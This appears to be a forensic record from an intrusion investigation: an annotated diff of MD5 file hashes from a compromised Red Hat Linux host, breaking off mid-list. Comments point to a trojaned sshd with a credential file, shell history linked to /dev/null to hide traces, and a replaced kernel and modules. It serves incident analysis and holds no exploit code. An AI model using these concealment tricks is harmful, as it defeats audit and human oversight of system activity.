0051778aef255ead593b1feac35df48e|/usr/sbin/showmount --- > 9dacbb00c05d867e290dd1208f1be8e3|/usr/sbin/am-eject > 5f378ee3fe18f130ad8d579c1c82bb15|/usr/sbin/amd2ldif > fa169711cdd0da0ae39a8feee2c13429|/usr/sbin/amd2sun > 3656829c5207e43462cf7add03614ebb|/usr/sbin/showmount < 5bfcbe22a9cf8a47963b8097267a9231|/usr/sbin/rpc.rstatd < 0412d9fd32d1e0c6502ae2a2af0d05b8|/usr/sbin/rpc.rusersd < aec5805ed035616b79e10ddd1484b21e|/usr/sbin/rpc.rwalld --- > 874c81442b9bc76a7397439dda8bcb4b|/usr/sbin/automount2amd > 7941089dc4ebf2072fb92931c7581969|/usr/sbin/ctl-hlfsd > 134199b54df339f00a8d327d7aa41528|/usr/sbin/fixmount < b02e0c46d80a76848d7632eddebcf2ed|/usr/sbin/nmbd < 449f6531dbf37d57ff447373ebae4b07|/usr/sbin/smbd < 306e12bbafc87d3e8297aef79fc9b55e|/usr/sbin/ckconfig < c042a6affeb84866a07fb560f065f76d|/usr/sbin/ftprestart < c04d3a8d0113102e4d9c62150a7abe37|/usr/sbin/ftpshut < cba144ae93c71f5c46e0fa065b7eedc5|/usr/sbin/in.ftpd < cba144ae93c71f5c46e0fa065b7eedc5|/usr/sbin/in.wuftpd < ac7bad87d3942d568be7b7d4c27afed4|/usr/sbin/privatepw < cba144ae93c71f5c46e0fa065b7eedc5|/usr/sbin/wu.ftpd --- > bf23641fcd2a50251a7bbd965c37251c|/usr/sbin/ckconfig > 48ef158b6ea15fa541909128f9f5bbf2|/usr/sbin/ftprestart > 811ebdf1c556981e9a270bb3ba1fb6de|/usr/sbin/ftpshut > dc495ac476f02c23c3c5b64252619fe0|/usr/sbin/in.ftpd > dc495ac476f02c23c3c5b64252619fe0|/usr/sbin/in.wuftpd > 48041dbccc03a6576a36803fca273aaa|/usr/sbin/privatepw > dc495ac476f02c23c3c5b64252619fe0|/usr/sbin/wu.ftpd < deaf40b717f9b48f7414daca01d543b7|/usr/sbin/rpc.yppasswdd < d3bcf058a5eae46ead852b5fbcef2d0e|/usr/sbin/rpc.ypxfrd < a49f8fb4452ce314912902c8f7edcd47|/usr/sbin/yppush < 3c8933185c30fdd7dd53e6052a2ba9ab|/usr/sbin/ypserv --- > f74cf73042c30777416cc80612477074|/usr/sbin/fix-amd-map > 214393b67c09f14feab3cede5b41758d|/usr/sbin/fsinfo > 61c46fc2bd84ea60fec346225a12deac|/usr/sbin/yppush > c8a4b639f0df472a6c4e55bb9595722e|/usr/sbin/hlfsd > b82d7d18db68368f7cce01ecfcedcc5a|/usr/sbin/lostaltmail > d149070c2bc89bbdf901d89ef68093b3|/usr/sbin/mk-amd-map > ce6b0aa0ce3e6dafc579443116a9153a|/usr/sbin/wait4amd > 722c1885564230742c31f940d981aa2b|/usr/sbin/wait4amd2die > 7f92cdb4218f8d6458e967079530721e|/usr/sbin/wire-test > 43be3fa0546b31079b99ee828b7a621d|/usr/sbin/rpc.yppasswdd > a8628fde1b582ad36dddb5eaf03662e2|/usr/sbin/rpc.ypxfrd > e3d0e0072ffc29d8d1ac294933a2f4c7|/usr/sbin/ypserv > b2fbea6b6da7c32bb7c7b98f38495c2c|/usr/sbin/rpc.mountd > 7b2bc49147bb1ad67b6a3bad22885cc3|/usr/sbin/rpc.nfsd > 65c722027fbf9d74285d5d4532b36cf1|/usr/sbin/rpc.rquotad < e2d17c9b8ead3be81ac9ac639b101ca2|/usr/bin/loadkeys --- > 73b7ac3512cbdbd35aa2913a7152e0eb|/usr/bin/loadkeys < 0338451802614c9200b77559c201bb3a|/usr/bin/awk < 0338451802614c9200b77559c201bb3a|/usr/bin/gawk --- > 96cbc3c6e05c2c206fc5f0e8513dffea|/usr/bin/awk > 96cbc3c6e05c2c206fc5f0e8513dffea|/usr/bin/gawk < 1c2aaf055c7a23e564f625e5a1da2cb9|/usr/bin/lpq < a3e47e167bb8258a6f0ab1cbac4905a1|/usr/bin/lpr < 3cbe0e95364e6ab9d090aa250359c0d7|/usr/bin/lprm < f508751ea8f91eb210c55c459485238b|/usr/bin/lptest --- > 0a4ae9224b64f7c57747f9cd6fe7ce39|/usr/bin/lpq > d2d0f97c565da8d5da5aa41f8bbd9241|/usr/bin/lpr > b96ca517ba6a30f6fbe175f8b165cf51|/usr/bin/lprm > d2966a6fd12f0599b9e60a853140c4b4|/usr/bin/lptest < a10e40f2242af1b520f84041dc0bc0f3|/usr/bin/gmake < a10e40f2242af1b520f84041dc0bc0f3|/usr/bin/make --- > bbf050aaaaf9761a9cf0fc8f84298d66|/usr/bin/gmake > bbf050aaaaf9761a9cf0fc8f84298d66|/usr/bin/make < 48fbbb48204825866ab3089c2db96e87|/usr/bin/top --- > ad3469456ec93a95514a3356aaf151cf|/usr/bin/top < d1fe9faf5da852bb38975c5db51ee2c4|/usr/bin/screen --- > 0368e37ee256f33ceac326390a33e6ee|/usr/bin/screen < d7963e4452bd6724859e105c7776bd51|/usr/bin/ftpcount < d7963e4452bd6724859e105c7776bd51|/usr/bin/ftpwho --- > b775172cded87b4d489fb62c48e85e67|/usr/bin/ftpcount > b775172cded87b4d489fb62c48e85e67|/usr/bin/ftpwho < 7a486785b38be96d7c878d0a8e51323f|/usr/lib/yp/makedbm < 22c8fdc5a68c4b5e53adaad35c89dedb|/usr/lib/yp/mknetid < 18d40083402b6b65abb731b33ed81bdb|/usr/lib/yp/revnetgroup < d473eda854017a378f56211246259231|/usr/lib/yp/yphelper < 8eb5d86e0b7a67ad5c422d255636bcd1|/usr/lib/yp/ypxfr --- > d5441b086f8f8f5e895a70b89c82026d|/usr/lib/yp/makedbm > bc0717a0ff5150a10fb270455065b61f|/usr/lib/yp/mknetid > f3f27f9a3f1ce78c88c1379622cb55ad|/usr/lib/yp/revnetgroup > 5d2f185ad42de15bb986e670da7fecd3|/usr/lib/yp/yphelper > 80c263d9567c762aae58bf0e81067ec6|/usr/lib/yp/ypxfr < 20bedf5b1a450c61ec70e300b67a14ab|/usr/lib/libtermcap.so --- > 78f90cc394d5ce1b313c86f983dc8e8f|/usr/lib/libamu.so > 78f90cc394d5ce1b313c86f983dc8e8f|/usr/lib/libamu.so.2 > 78f90cc394d5ce1b313c86f983dc8e8f|/usr/lib/libamu.so.2.1.1 > 000|/usr/lib/libtermcap.so > d41d8cd98f00b204e9800998ecf8427e|/usr/lib/perl5/man/whatis < a4ddf4c154999f2314c140b692184f56|/var/lib/rpm/packages.rpm < 70cadcab6b4fd7bab5cbfd825b41d356|/var/lib/rpm/nameindex.rpm < fbe5fba5db6f7087d6854003162386ad|/var/lib/rpm/fileindex.rpm < 83928183aebebbd49160ec5df26d38a6|/var/lib/rpm/providesindex.rpm < ae91f5f53367160a5617dacd09eddca5|/var/lib/rpm/requiredby.rpm < 3507632680d5c72fdc8cbb07990c4081|/var/lib/rpm/conflictsindex.rpm < fadb22d8e4b6ca7bc54184763ee6303f|/var/lib/rpm/groupindex.rpm < 1fa07d13bb696f389280a2162a9340a3|/var/lib/rpm/triggerindex.rpm --- > 26045849359863eea19e7618733be7d0|/var/lib/rpm/packages.rpm > 748f14b8d53fe8199e62fe713f29096b|/var/lib/rpm/nameindex.rpm > 653dd90ced14052fd0821be95aeed774|/var/lib/rpm/fileindex.rpm > f530b58aa7ea269901eb1cbff3d0d550|/var/lib/rpm/providesindex.rpm > 7f243f408062da227b9ea84f28ee6b9e|/var/lib/rpm/requiredby.rpm > 76ef67b611b892de66b964ae143038fe|/var/lib/rpm/conflictsindex.rpm > 2bfafb8e031533401ae8fa24cc4368e5|/var/lib/rpm/groupindex.rpm > 3d7aea792d9d0797a57edd63551fb1b2|/var/lib/rpm/triggerindex.rpm (use of rpm for software installation) added by attacker (installation of ssh, named, etc) > d37918ae980e0cdda61cd90f2a01a260|/usr/local/sbin/sshd1 > d37918ae980e0cdda61cd90f2a01a260|/usr/local/sbin/sshd > cb51be8682cdc9046b1dbb3666b46313|/usr/local/sbin/irpd > bcdad222fe49c61f58e4a91ebbbb6a3a|/usr/local/sbin/named > c395617c21093be97e414336449cb9a5|/usr/local/sbin/named-bootconf > fc3c4e0954a8a343ed01edf0835b4f8e|/usr/local/sbin/ndc > d41d8cd98f00b204e9800998ecf8427e|/usr/local/man/whatis > f7a8aec08570a205ca3d96f8b12374b6|/usr/local/man/man8/sshd1.8 > f7a8aec08570a205ca3d96f8b12374b6|/usr/local/man/man8/sshd.8 > 0ef0b107ecca23e58eff8cc9d89eb832|/usr/local/man/man1/ssh-keygen1.1 > 0ef0b107ecca23e58eff8cc9d89eb832|/usr/local/man/man1/ssh-keygen.1 > 4d8e8a6be5bb0e12252a0a5544027b5c|/usr/local/man/man1/ssh-agent1.1 > 4d8e8a6be5bb0e12252a0a5544027b5c|/usr/local/man/man1/ssh-agent.1 > 0c957625aa0d02b506bf7a087312f70d|/usr/local/man/man1/ssh-add1.1 > 0c957625aa0d02b506bf7a087312f70d|/usr/local/man/man1/ssh-add.1 > f25e4dd87ed04f468b77997b7cb53e4e|/usr/local/man/man1/scp1.1 > f25e4dd87ed04f468b77997b7cb53e4e|/usr/local/man/man1/scp.1 > f2aba603650ef4b92761d3881ea9c377|/usr/local/man/man1/slogin1.1 > f2aba603650ef4b92761d3881ea9c377|/usr/local/man/man1/slogin.1 > f2aba603650ef4b92761d3881ea9c377|/usr/local/man/man1/ssh1.1 > f2aba603650ef4b92761d3881ea9c377|/usr/local/man/man1/ssh.1 > 2a6deccbf90d81e17de651c00a004317|/usr/local/man/man1/make-ssh-known-hosts1.1 > 2a6deccbf90d81e17de651c00a004317|/usr/local/man/man1/make-ssh-known-hosts.1 > 78989909cc50cbebe73b7faab880b657|/usr/local/bin/ssh1 > 78989909cc50cbebe73b7faab880b657|/usr/local/bin/ssh > 78989909cc50cbebe73b7faab880b657|/usr/local/bin/slogin > 250c4340d18cbc3375605db52ca2ae40|/usr/local/bin/ssh-keygen1 > 250c4340d18cbc3375605db52ca2ae40|/usr/local/bin/ssh-keygen > 9b1c523817f182137bd9df1605f52674|/usr/local/bin/ssh-agent1 > 9b1c523817f182137bd9df1605f52674|/usr/local/bin/ssh-agent > 5188df0b74f02800398fef798ead1bd8|/usr/local/bin/ssh-add1 > 5188df0b74f02800398fef798ead1bd8|/usr/local/bin/ssh-add > 31f5419c553d045bbbfea6ce71505bcd|/usr/local/bin/scp1 > 31f5419c553d045bbbfea6ce71505bcd|/usr/local/bin/scp > 433365f19450705faa014220f82db19d|/usr/local/bin/make-ssh-known-hosts1 > 433365f19450705faa014220f82db19d|/usr/local/bin/make-ssh-known-hosts > dbc7e250c8beb87b27e40d4ed04a17d3|/usr/local/bin/addr > 9c10b8b012557876f287eff59e174477|/usr/local/bin/dig > 5b42441dedb83c4ec68c197cd3c75b1b|/usr/local/bin/dnsquery > afeea6d0ca893500fc1dc56330cf02f4|/usr/local/bin/host > 9e6b118ae4947309accb9c6c5a330baf|/usr/local/bin/mkservdb > e323ce38b0e012fcea1a9c99239b5b37|/usr/local/bin/nsupdate Changed manually by the attacker to hide traces... < 9b50a8bd839c80ada3727e41faeb6a8c|/root/.bash_history --- > 000|/root/.bash_history (link to /dev/null) Added manually > 000|/.bash_history > 000|/tmp/.bash_history > 000|/usr/games/.bash_history > 19338df5ed18c7f6d7f1339d419b6fbf|/var/tmp/nap This is the file with the account/pw info for the trojaned sshd Unclear, looks like xsm has been renamed to wmconfig < d41d8cd98f00b204e9800998ecf8427e|/etc/X11/xsm < 6c0258fd43ec2de60e831d63973bdd43|/etc/X11/xsm/system.xsm --- > d41d8cd98f00b204e9800998ecf8427e|/etc/X11/wmconfig > 3b22f4f1ffff163f288a54379ac7d073|/etc/X11/wmconfig/telnet < e74b6a9cfdfb2c7bbce85a098ab51d21|/usr/sbin/apmd < 35361dafdeb6b356100451723e028eed|/usr/sbin/atd --- > ecbfc8c452e49100fd933836a77603ca|/usr/sbin/amq < 8042b7bf1421c3abc44d643aa9556d14|/usr/bin/consolechars --- > 000|/usr/bin/consolechars /usr/bin/consolechars has been replaced by a link to /bin/consolechars > 97d4c47f53fc29a029bacde2e4ab28a7|/usr/bin/pawd Oops, the kernel is different...? < b9e723656f96d3dc9d3e4c18b22b84b8|/boot/System.map-2.2.14-5.0 < 147b82ba50182219dcafadde28bd5834|/boot/vmlinux-2.2.14-5.0 < 556d1550073cad29d63c76aced75f13c|/boot/vmlinuz-2.2.14-5.0 < 556d1550073cad29d63c76aced75f13c|/boot/vmlinuz < b9e723656f96d3dc9d3e4c18b22b84b8|/boot/System.map < a7a08dfa6a87016427f2a31f4ef7831f|/boot/boot.0300 < d5035052184139f19cb0f629e86721a6|/boot/map --- > 4e9914e88dcdbd31aec51b3695e35323|/boot/System.map-2.2.14-5.0 > d6c4c173b118c14d409a8ccc7ce8f01e|/boot/vmlinux-2.2.14-5.0 > 6685ffb3168903dbc51b841348554cd1|/boot/vmlinuz-2.2.14-5.0 > 6685ffb3168903dbc51b841348554cd1|/boot/vmlinuz > 4e9914e88dcdbd31aec51b3695e35323|/boot/System.map > 9de95f082bb0807b61b3457d8b5495ed|/boot/boot.0300 > b449181679e2cfb81a24143a67988e83|/boot/map The difference in size is about 23 kBytes. Well, a check with nm on both kernel files shows that the symbols are exactly the same but their addresses differ slightly. To me it is not immediately clear how these differences are to be interpreted except that a complete reinstall of the OS is now mandatory to recover the system :-) Some of the modules also differ... You may skip the following block of changes. Next marker is [Q3]. < 39d12527b85eba49cae249053972d7e6|/lib/modules/2.2.14-5.0/video/matroxfb.o < d8e7b79a8936e577a70f7195587860d0|/lib/modules/2.2.14-5.0/video/mdacon.o < 24534832edbaee5af9a0f17b61b27b81|/lib/modules/2.2.14-5.0/.rhkmvtag --- > 315d4530d29f0720e85368333ee6055c|/lib/modules/2.2.14-5.0/video/matroxfb.o > 2f86ea9552a1e99d5d1730377bfd3195|/lib/modules/2.2.14-5.0/video/mdacon.o > c1e996b4bb86d4bebfee753f8d4851a6|/lib/modules/2.2.14-5.0/.rhkmvtag < 10d30841ee2be86867dda90e91d137a4|/lib/modules/2.2.14-5.0/scsi/53c7,8xx.o < d9d6c517740336a86ad244460362863e|/lib/modules/2.2.14-5.0/scsi/AM53C974.o < 9c1f41b91bb18059da95840c75adfa95|/lib/modules/2.2.14-5.0/scsi/BusLogic.o < c82bb5622e220ec1b68a02bf2c172264|/lib/modules/2.2.14-5.0/scsi/NCR53c406a.o < 4121840ab5f240776ad95828b6951f08|/lib/modules/2.2.14-5.0/scsi/a100u2w.o < 6c417688ff80f54aa2c7a5d876a92bcd|/lib/modules/2.2.14-5.0/scsi/advansys.o < e35d6d8b004bd4dafd833a717b15ce8b|/lib/modules/2.2.14-5.0/scsi/aha152x.o < 09e407b16d1e47d1f55c38ba567259cd|/lib/modules/2.2.14-5.0/scsi/aha1542.o < 4fa0830adc378f94a23c8e63d917351b|/lib/modules/2.2.14-5.0/scsi/aha1740.o < ccb198379a43fb3af5ed378f8eb5d485|/lib/modules/2.2.14-5.0/scsi/aic7xxx.o < 5d6de5c266aa8dabc492be94c5ab8ce3|/lib/modules/2.2.14-5.0/scsi/atp870u.o < 0a6bbe08fdddb0c9384817acf0fadf92|/lib/modules/2.2.14-5.0/scsi/dtc.o < 9b137da97de40366310d47b68974a645|/lib/modules/2.2.14-5.0/scsi/eata.o < 3002920b61555a6efc23179854595aa6|/lib/modules/2.2.14-5.0/scsi/eata_dma.o < b6e421dd2e2d7b1c3d3afa9e00f2eac3|/lib/modules/2.2.14-5.0/scsi/eata_pio.o < 84e0a81de3c375b76fd403c1c91f6207|/lib/modules/2.2.14-5.0/scsi/fdomain.o < 414709abb6fd95e5781cede7716cf660|/lib/modules/2.2.14-5.0/scsi/g_NCR5380.o < 22988a5bf0d394c721c11a5da501e0e3|/lib/modules/2.2.14-5.0/scsi/gdth.o < f742509f7f4c3a58a19e14cedb433da6|/lib/modules/2.2.14-5.0/scsi/ide-scsi.o < 7a4cfc9eacee90490486b56d6017845c|/lib/modules/2.2.14-5.0/scsi/imm.o < 4359d847fb2f88074daa59f6f2e445b5|/lib/modules/2.2.14-5.0/scsi/in2000.o < 6611f465ef6c482ad78ee891f425ca63|/lib/modules/2.2.14-5.0/scsi/initio.o < c53784ec976e0755e048fc4f689feee7|/lib/modules/2.2.14-5.0/scsi/ips.o < 6ce668ce74f6546cee25b35aeef8db10|/lib/modules/2.2.14-5.0/scsi/megaraid.o < beeab432d397dcbc17b9b5892b4dbbd4|/lib/modules/2.2.14-5.0/scsi/ncr53c8xx.o < 1ae02c9337a3c18d6b008726e4e0bf52|/lib/modules/2.2.14-5.0/scsi/pas16.o < 854b643361fc0223df58fc861d7dee49|/lib/modules/2.2.14-5.0/scsi/pci2000.o < 288ca93d8b854a870ff7f8f8a00be2ac|/lib/modules/2.2.14-5.0/scsi/pci2220i.o < fac60698b12ee02ebba664de8e0642cc|/lib/modules/2.2.14-5.0/scsi/ppa.o < 40629d624ccaccca3b1f6f873741278c|/lib/modules/2.2.14-5.0/scsi/psi240i.o < e899548b16e520341aa9f543f705e469|/lib/modules/2.2.14-5.0/scsi/qlogicfas.o < 53f2b3f5f74809c0f0113d420437db31|/lib/modules/2.2.14-5.0/scsi/qlogicfc.o < dcfc029cbebae78b6d1a21a815c2c698|/lib/modules/2.2.14-5.0/scsi/qlogicisp.o < e5f4e2cfda23c10130904f84aaf46cdf|/lib/modules/2.2.14-5.0/scsi/scsi_debug.o < f830198d093cde47b2ad46817a79d406|/lib/modules/2.2.14-5.0/scsi/seagate.o < 367ffdec028384bc90bd0a30cd513719|/lib/modules/2.2.14-5.0/scsi/sg.o < 91884e42230bbcfc4bba2002df611c37|/lib/modules/2.2.14-5.0/scsi/sim710.o < a322b6255799d886e85fc86d79d144a0|/lib/modules/2.2.14-5.0/scsi/st.o < 21ef4553c0f5eda73517ade95992986e|/lib/modules/2.2.14-5.0/scsi/sym53c416.o < ee7b3df9ba815deb039da04af911407d|/lib/modules/2.2.14-5.0/scsi/sym53c8xx.o < 6b48906a140f42d2cc8a62d8dd85e211|/lib/modules/2.2.14-5.0/scsi/t128.o < 0aabf5241136c186088f6e07e6181bf7|/lib/modules/2.2.14-5.0/scsi/tmscsim.o < 51ed907b8e21c75a1c6c3519e1687c90|/lib/modules/2.2.14-5.0/scsi/u14-34f.o < 59b3353aaed2b531a70970efbb96245b|/lib/modules/2.2.14-5.0/scsi/ultrastor.o < 2938fb275225a7fe11a6fdc0d952a285|/lib/modules/2.2.14-5.0/scsi/wd7000.o --- > 4a5d9cde29298d5d93396db8f615827d|/lib/modules/2.2.14-5.0/scsi/53c7,8xx.o > 490633c46ede6623b32a24efc0b96696|/lib/modules/2.2.14-5.0/scsi/AM53C974.o > 48ce0e4171185a4e8fe290e1058e438e|/lib/modules/2.2.14-5.0/scsi/BusLogic.o > e1da1678998335a66b41b0c72a6a37bb|/lib/modules/2.2.14-5.0/scsi/NCR53c406a.o > e24d65a4ffcd49be24d34037d5f8942e|/lib/modules/2.2.14-5.0/scsi/a100u2w.o > 6ef8fb24cef31c8e163a18a819c893d0|/lib/modules/2.2.14-5.0/scsi/advansys.o > e1a94c1e32a8a111d0fb272d1dd338cf|/lib/modules/2.2.14-5.0/scsi/aha152x.o > eaffbf37b513a22f9beb9e35fc86ccfe|/lib/modules/2.2.14-5.0/scsi/aha1542.o > 1b8603e0421ac07e27f160999ffe3b53|/lib/modules/2.2.14-5.0/scsi/aha1740.o > dbb656f83794eda0a6763b943bbf3a6f|/lib/modules/2.2.14-5.0/scsi/aic7xxx.o > 45d5bdc8a906cf892bc0896d9cb9e676|/lib/modules/2.2.14-5.0/scsi/atp870u.o > d03ba10686e4c63623cd76974aca1cc3|/lib/modules/2.2.14-5.0/scsi/dtc.o > 560c96e34ce50b688917c300102ccd7f|/lib/modules/2.2.14-5.0/scsi/eata.o > 75b6caf6e14086d6263c238207acbb5c|/lib/modules/2.2.14-5.0/scsi/eata_dma.o > 556edf41845799f8ce1360834629f3af|/lib/modules/2.2.14-5.0/scsi/eata_pio.o > a8c0627e3d0a7a2ddcae75bafc79c0d5|/lib/modules/2.2.14-5.0/scsi/fdomain.o > a930179cf9f45715968fddba311af6f4|/lib/modules/2.2.14-5.0/scsi/g_NCR5380.o > b3d01aeb0432768949f540b9f6d8211d|/lib/modules/2.2.14-5.0/scsi/gdth.o > d27cd67276df85e43335caa61f8079fe|/lib/modules/2.2.14-5.0/scsi/ide-scsi.o > 2835e94f594fe312220a45a1b2aeeb52|/lib/modules/2.2.14-5.0/scsi/imm.o > 91e6399ed78cbe601d72e86e5fdcb356|/lib/modules/2.2.14-5.0/scsi/in2000.o > 5d0a826829d15383c007d7199af383a5|/lib/modules/2.2.14-5.0/scsi/initio.o > e7fda575bcea56b314e5e32eaa0492c6|/lib/modules/2.2.14-5.0/scsi/ips.o > a0ba9f69430362290d5e283c7a6b47f9|/lib/modules/2.2.14-5.0/scsi/megaraid.o > 7529dcfecac52c5951c8c2425871e9b4|/lib/modules/2.2.14-5.0/scsi/ncr53c8xx.o > 9e6eb805deda8820233ee51f0cb5b060|/lib/modules/2.2.14-5.0/scsi/pas16.o > aa19fb5628e3c5fef4331d0100f0c2d4|/lib/modules/2.2.14-5.0/scsi/pci2000.o > 8a10a585f7f1709a1dc032698e692048|/lib/modules/2.2.14-5.0/scsi/pci2220i.o > 8595a5c25b25bb08703d55f8719d6aef|/lib/modules/2.2.14-5.0/scsi/ppa.o > ab6b6a94c7d2cc5b364b78f8b47e5aca|/lib/modules/2.2.14-5.0/scsi/psi240i.o > b33fbbd1b3fa0037ce96bae6771ff1bb|/lib/modules/2.2.14-5.0/scsi/qlogicfas.o > 8418a3f158b13550691abefd296acc4a|/lib/modules/2.2.14-5.0/scsi/qlogicfc.o > 0bc6a1e4d4976f5d4c2fdc0619622031|/lib/modules/2.2.14-5.0/scsi/qlogicisp.o > 4856e250f1e578bcd286b650039be021|/lib/modules/2.2.14-5.0/scsi/scsi_debug.o > 1c3353236120718c58eb26548a8304bb|/lib/modules/2.2.14-5.0/scsi/seagate.o > fab8b2f9a3cd3c168b1f23ec0607edf5|/lib/modules/2.2.14-5.0/scsi/sg.o > 6e2a78e37f6bd915ab81f37d5140d6d9|/lib/modules/2.2.14-5.0/scsi/sim710.o > 1f0a91a15f5b660e6a04316f908bb549|/lib/modules/2.2.14-5.0/scsi/st.o > c41c871962b741fc5dd7a0951b511b9a|/lib/modules/2.2.14-5.0/scsi/sym53c416.o > 773e84f1e467e642cb5dc2de4a41d834|/lib/modules/2.2.14-5.0/scsi/sym53c8xx.o > 0250bb4b8778000feff2117cf15a3e29|/lib/modules/2.2.14-5.0/scsi/t128.o > 62e5b61b0470cd43449494fbd76811c3|/lib/modules/2.2.14-5.0/scsi/tmscsim.o > 55c48c4b91b123049ff3a905c731ef49|/lib/modules/2.2.14-5.0/scsi/u14-34f.o > 12d528bde36487fcbf94f23b026368fe|/lib/modules/2.2.14-5.0/scsi/ultrastor.o > cda1c68232f378b1b9076980d078df27|/lib/modules/2.2.14-5.0/scsi/wd7000.o < 388c91381ac9b536c0d06fd877d9650c|/lib/modules/2.2.14-5.0/pcmcia/pcmcia_core.o --- > 5659c50d99a8631455fd1d9623b6496b|/lib/modules/2.2.14-5.0/pcmcia/pcmcia_core.o < e4fb53d3fd5235b4ba254c24f1e090ad|/lib/modules/2.2.14-5.0/net/3c501.o < 165ae7c286419422eb4cbe7241a71e0e|/lib/modules/2.2.14-5.0/net/3c503.o < 56f441116427f8b9c42144121ccc8438|/lib/modules/2.2.14-5.0/net/3c505.o < e9fe6532ad11ba4c98a6c394da25684c|/lib/modules/2.2.14-5.0/net/3c507.o < ec715352dac51f873797ed581d552ef8|/lib/modules/2.2.14-5.0/net/3c509.o < f2c8b7bb1fa5ad2d9dcf6a560136062a|/lib/modules/2.2.14-5.0/net/3c515.o < 750b58beb352c75a4595ae3bc20d9c44|/lib/modules/2.2.14-5.0/net/3c59x.o < 01dd47f33f7a58a03e1ac96292b7b1d4|/lib/modules/2.2.14-5.0/net/3c90x.o < 3cab802e61d04ef1ae6f91cd32ff0318|/lib/modules/2.2.14-5.0/net/82596.o --- > 04ea1d3476dfee0247d2e1fe7257a04c|/lib/modules/2.2.14-5.0/net/3c501.o > 4568de040f54bcca79cc2788bc3d40f5|/lib/modules/2.2.14-5.0/net/3c503.o > b4f3681f7e11cdf7b93d9386c90496ee|/lib/modules/2.2.14-5.0/net/3c505.o > 6712c8fd5a719950bd1a71b73f8390b1|/lib/modules/2.2.14-5.0/net/3c507.o > cba962a9a72ac3e6d801c477d8893241|/lib/modules/2.2.14-5.0/net/3c509.o > 3305f36b1d49913d5de0e827eb21ee06|/lib/modules/2.2.14-5.0/net/3c515.o > 28f960ebc97cd2b6dd43377831b4b283|/lib/modules/2.2.14-5.0/net/3c59x.o > a65c66570778a3f314734ec99c4f36b1|/lib/modules/2.2.14-5.0/net/3c90x.o > ad402de23a05752eb3492037c7df6e53|/lib/modules/2.2.14-5.0/net/82596.o 398,638c403,643 < 1545abe9af675c1e675c8bb4d3f4a20a|/lib/modules/2.2.14-5.0/net/ac3200.o < e083e6096f6269e39b6bc9e75829f598|/lib/modules/2.2.14-5.0/net/acenic.o < bc62f52a2988639d22b2164be25cf885|/lib/modules/2.2.14-5.0/net/arlan-proc.o < d75008609e3b34df7bd9f37c340ce274|/lib/modules/2.2.14-5.0/net/arlan.o < 8498e8bd71f33ec22024dbc73ed8ddb6|/lib/modules/2.2.14-5.0/net/at1700.o < 667bebc70fa50b32784ab96f133bb3fc|/lib/modules/2.2.14-5.0/net/bonding.o < 7b0949af1b95c5da727841621bead346|/lib/modules/2.2.14-5.0/net/bsd_comp.o < a8fa0afc03ed5612b90a47e1c911fb17|/lib/modules/2.2.14-5.0/net/cops.o < 27976945c6767337624b7866510dad57|/lib/modules/2.2.14-5.0/net/cosa.o < f727c9f1f558d3485120d9135a8c0285|/lib/modules/2.2.14-5.0/net/cs89x0.o < ec562bd4fd0fe4e36a41a0de6612ddf6|/lib/modules/2.2.14-5.0/net/de4x5.o < f7bca09357737a04ce32e369e0871305|/lib/modules/2.2.14-5.0/net/de600.o < 5ce508c9a92c89abefbdd6d54aa92ea4|/lib/modules/2.2.14-5.0/net/de620.o < 26cd19e23af8902ad7ba5e2ba9e3e6d3|/lib/modules/2.2.14-5.0/net/depca.o < c08effe83d833022320deebeb0d78ee0|/lib/modules/2.2.14-5.0/net/dgrs.o < f016250743b513dda26d793561a55418|/lib/modules/2.2.14-5.0/net/dlci.o < 21ce1c2be4dd85876ab708a6652eb582|/lib/modules/2.2.14-5.0/net/dmfe.o < 03ae9ed0ec3a87f16a241eaaa97711d0|/lib/modules/2.2.14-5.0/net/dummy.o < e50cffd6d3fd286ece0126600d0f7ffe|/lib/modules/2.2.14-5.0/net/e2100.o < 8e4295d196cfb5178d4e5d4808e900f2|/lib/modules/2.2.14-5.0/net/eepro.o < 08df12b951d78a0e8c15d7e026c1b0f7|/lib/modules/2.2.14-5.0/net/eepro100.o < 2823b3681064c236df4f77a3dfccf909|/lib/modules/2.2.14-5.0/net/eexpress.o < 298c4631a8febf576fafd20970b953ce|/lib/modules/2.2.14-5.0/net/epic100.o < 873e10f09e06cd3ae5a941d27eff8903|/lib/modules/2.2.14-5.0/net/eql.o < d5ebb08003e949a9b99da81c5970024d|/lib/modules/2.2.14-5.0/net/es3210.o < 53c3598881e7712aaf6a7636deb77e2b|/lib/modules/2.2.14-5.0/net/eth16i.o < 0ffa42d04f5180897133f3fe0a0fa154|/lib/modules/2.2.14-5.0/net/ethertap.o < ff05d73a9025dc0de71266c8236e377a|/lib/modules/2.2.14-5.0/net/ewrk3.o < b70f15f7eac5ae2c22aab0e74cc4d32e|/lib/modules/2.2.14-5.0/net/fmv18x.o < 3c68a42b53997e4dc39486e74f621371|/lib/modules/2.2.14-5.0/net/hostess_sv11.o < 94190658823a31e794b8f6295c548504|/lib/modules/2.2.14-5.0/net/hp-plus.o < 5c063f77f10990afcb46ae8b432fed70|/lib/modules/2.2.14-5.0/net/hp.o < f6e4ae2244300c2dcbcc3d6bfe1142fb|/lib/modules/2.2.14-5.0/net/hp100.o < 2b7319938a450b25da8f4aa04db732e0|/lib/modules/2.2.14-5.0/net/ibmtr.o < 612a577bc29f4990e2b27d4135ea3d96|/lib/modules/2.2.14-5.0/net/ipddp.o < 89bacec69056ebcf4f02f5e4a292f16b|/lib/modules/2.2.14-5.0/net/ircomm.o < 2552e1003919993dbaf766b725621519|/lib/modules/2.2.14-5.0/net/irda.o < c0508a415f4c3c2803f4db19e4641ff6|/lib/modules/2.2.14-5.0/net/irda_deflate.o < 7c4c54a83712263c047e62e8a18e34da|/lib/modules/2.2.14-5.0/net/irlan.o < 9400183ba3492e979f617112948ee784|/lib/modules/2.2.14-5.0/net/lance.o < 8369006c68bef67490df05a921d6d7bd|/lib/modules/2.2.14-5.0/net/lne390.o < 78ddd751861d62caf1c4d7122cdb9ff2|/lib/modules/2.2.14-5.0/net/ltpc.o < 830816ffc4b7d022296a294bcaa4acda|/lib/modules/2.2.14-5.0/net/ne.o < 6f0535a256fd9bd15da98b484f1a00ff|/lib/modules/2.2.14-5.0/net/ne2k-pci.o < 15246238ed44f5b1e9aede0f76753b10|/lib/modules/2.2.14-5.0/net/ne3210.o < d3aea592fd6ec0a836f181c82ecd3d63|/lib/modules/2.2.14-5.0/net/ni5010.o < 749d1c9f951fa121b82629fd29496bb9|/lib/modules/2.2.14-5.0/net/ni52.o < 2ec147148058a66661ce30900046bd7b|/lib/modules/2.2.14-5.0/net/ni65.o < 93bee0c03664e2546181e0eab0162f4e|/lib/modules/2.2.14-5.0/net/old_tulip.o < 